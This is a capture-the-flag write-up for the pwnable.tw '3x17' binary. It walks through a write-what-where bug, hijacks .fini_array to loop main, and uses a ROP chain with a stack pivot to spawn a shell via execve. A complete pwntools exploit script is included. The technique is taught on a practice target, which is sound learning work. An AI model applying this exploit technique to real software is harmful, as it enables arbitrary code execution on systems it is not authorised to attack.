Challenge Information
Reverse Engineering
alter ^ Sol in /mnt/e/sec/lab/pwnable.tw/3x17$ checksec 3x17[*] '/mnt/e/sec/lab/pwnable.tw/3x17/3x17' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
First we check the binary with checksec
and we see that it is not compiled with stack canaries, but it has NX enabled. This means that we can use ROP to exploit the binary. Let’s take a look at the IDA decompiler code (because this is a stripepd file so I just analyze some main functions).
int __fastcall main(int argc, const char **argv, const char **envp){ int result; // eax char *what; // [rsp+8h] [rbp-28h] char where[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u); result = (unsigned __int8)++byte_4B9330; if ( byte_4B9330 == 1 ) { print_string(1u, "addr:", 5uLL); read_input(0, where, 0x18uLL); what = (char *)(int)sub_40EE70(where); print_string(1u, "data:", 5uLL); read_input(0, what, 0x18uLL); return 0; } return result;}
In general, the main function is very simple. It reads an address and a string from the user. The address is passed to the sub_40EE70
function, which is a simple function that just returns the address passed to it. The string is then written to that address. This is a classic case of a write-what-where
primitive. But the problem here is we just can use write-what-where
primitive one time and the program will exit.
// positive sp value has been detected, the output may be wrong!void __fastcall __noreturn start(__int64 a1, __int64 a2, int a3){ __int64 v3; // rax int v4; // esi __int64 v5; // [rsp-8h] [rbp-8h] BYREF _UNKNOWN *retaddr; // [rsp+0h] [rbp+0h] BYREF
v4 = v5; v5 = v3; sub_401EB0((unsigned int)main, v4, (unsigned int)&retaddr, (unsigned int)init, (unsigned int)fini, a3, (__int64)&v5); __halt();}
So this is start
function appears to be the very first entry point of the program (marked __noreturn
because it never returns to its caller). It takes three arguments—likely passed by the OS loader—but immediately shuffles them into local variables (v5
and v4
) before invoking a helper routine at sub_401EB0
. That call is passed the address of main
, the saved return address slot, and the addresses of the CRT initialization
(init
) and finalization
(fini
) functions, along with the original third argument. In other words, sub_401EB0
is presumably responsible for performing C runtime setup (running constructors, handling arguments, etc.) and then calling main. Finally, __halt()
ensures that if for some reason execution ever returns, the CPU will stop, enforcing the __noreturn
contract. And we pay attention to the 2 things fini
and init
, the init
function will be called first when the program starts, the purpose is to set up some necessary things for the program to be able to execute. On the contrary, the fini
function will be the function called when the program exit
. This function will base on .fini_array
to run 2 destructor functions which are:
- _do_global_dtors_aux
- foo_destructor
and it will call foo_destructor
first then call _do_global_dtors_aux
. This means that if we can control the execution flow, we can potentially manipulate the program’s termination process and execute arbitrary code before the program exits.
Exploit Strategies
So we know that the program will call fini
function when it exits. And we can control which function the fini
function will call via write-what-where
primitive. So we can use this to our advantage. We can overwrite the .fini_array
with our own address. This will allow us to have infinity write-what-where
primitive. Then we just need to use ROP
Exploit
Our .fini_array
is located at 0x4B40F0
:
.fini_array:00000000004B40F0 ; Segment type: Pure data.fini_array:00000000004B40F0 ; Segment permissions: Read/Write.fini_array:00000000004B40F0 _fini_array segment qword public 'DATA' use64.fini_array:00000000004B40F0 assume cs:_fini_array.fini_array:00000000004B40F0 ;org 4B40F0h.fini_array:00000000004B40F0 off_4B40F0 dq offset sub_401B00 ; DATA XREF: init+4C↑o.fini_array:00000000004B40F0 ; fini+8↑o.fini_array:00000000004B40F8 dq offset loc_401580.fini_array:00000000004B40F8 _fini_array ends
So to make sure the program executes main
function infinity times, we will overwrite the *.fini_array+8
with the address of main
function and *.fini_array
with fini
function. With that we can make the program run like this flow fini -> main -> fini -> again
.
def write_what_where(where, what): sla(b'addr:', str(where).encode()) sa(b'data:', what)
def exploit():
fini_array = 0x4B40F0 fini_array_caller = 0x0402960 main = 0x401b6d
write_what_where(fini_array, p64(fini_array_caller) + p64(main))
After that we can use ROP to call execve
syscall to spawn a shell. The idea, to put a ROP chain and execute it is using pivot, we can see that after calling the second entry of .fini_array
which is main
function after we overwrite it, the saved RBP
will be 0x4b40f0
and then it continues call the first entry and continues the loop. So we can use leave; ret
instruction to pop the RBP
and then we can pivot the stack to our ROP chain. The ROP chain will look like this:
pop_rdx = 0x446e35 pop_rdi = 0x401696 pop_rax = 0x41e4af pop_rsi = 0x406c30 syscall = 0x4022b4 leave_ret = 0x401c4b
payload = flat( 0, pop_rdi, fini_array + 0x200, pop_rax, 0x3b, pop_rsi, 0, syscall, )
for i in range(0, len(payload), 0x8): write_what_where(fini_array + 0x10+i, payload[i:i+0x8])
Check the first ROP chain to make sure it is correct:
pwndbg> tel 0x4B40F0 2000:0000│ 0x4b40f0 —▸ 0x402960 ◂— push rbp01:0008│ 0x4b40f8 —▸ 0x401b6d ◂— push rbp02:0010│ 0x4b4100 ◂— 003:0018│ 0x4b4108 —▸ 0x401696 ◂— pop rdi04:0020│ 0x4b4110 —▸ 0x4b42f0 ◂— 105:0028│ 0x4b4118 —▸ 0x41e4af ◂— pop rax06:0030│ 0x4b4120 ◂— 0x3b /* ';' */07:0038│ 0x4b4128 —▸ 0x406c30 ◂— pop rsi08:0040│ 0x4b4130 ◂— 009:0048│ 0x4b4138 —▸ 0x4022b4 ◂— syscall0a:0050│ 0x4b4140 —▸ 0x494580 ◂— 0x8000000080b:0058│ 0x4b4148 —▸ 0x4944a0 ◂— 0x1000000010c:0060│ 0x4b4150 —▸ 0x494220 ◂— 20d:0068│ 0x4b4158 —▸ 0x4946e0 ◂— 0x1000000050e:0070│ 0x4b4160 —▸ 0x4944c0 ◂— 0x1000000010f:0078│ 0x4b4168 —▸ 0x4941f0 ◂— 0x10000000110:0080│ 0x4b4170 ◂— 011:0088│ 0x4b4178 —▸ 0x4941e0 ◂— 0x50000000512:0090│ 0x4b4180 —▸ 0x4941c0 ◂— 0x10000000113:0098│ 0x4b4188 —▸ 0x494180 ◂— 0x100000001
Everything looks good, now we just need to put leave; ret
instruction to pivot the to our ROP chain:
# debug(attach=True) write_what_where(fini_array + 0x200, b'/bin/sh\0') write_what_where(fini_array, p64(leave_ret) + p64(pop_rdx))
Full exploit
38 collapsed lines
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwnie import *from subprocess import check_outputfrom time import sleep
context.log_level = 'debug'context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.6", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]exe = context.binary = ELF('./3x17', checksec=False)libc = exe.libc
def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, aslr=False, *a, **kw) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) elif args.DOCKER: p = remote("localhost", 5000) sleep(1) pid = int(check_output(["pidof", "-s", "/app/run"])) gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path) pause() return p else: return process([exe.path] + argv, *a, **kw)
gdbscript = '''init-pwndbg
b *0x401BDCb *0x401C29b *0x401c4c
c'''
p = start()
# ==================== EXPLOIT ====================
def write_what_where(where, what): sla(b'addr:', str(where).encode()) sa(b'data:', what)
def exploit():
fini_array = 0x4B40F0 fini_array_caller = 0x0402960 main = 0x401b6d
write_what_where(fini_array, p64(fini_array_caller) + p64(main))
pop_rdx = 0x446e35 pop_rdi = 0x401696 pop_rax = 0x41e4af pop_rsi = 0x406c30 syscall = 0x4022b4 leave_ret = 0x401c4b
payload = flat( 0, pop_rdi, fini_array + 0x200, pop_rax, 0x3b, pop_rsi, 0, syscall, )
for i in range(0, len(payload), 0x8): write_what_where(fini_array + 0x10+i, payload[i:i+0x8])
# debug(attach=True) write_what_where(fini_array + 0x200, b'/bin/sh\0') write_what_where(fini_array, p64(leave_ret) + p64(pop_rdx))
interactive()
if __name__ == '__main__': exploit()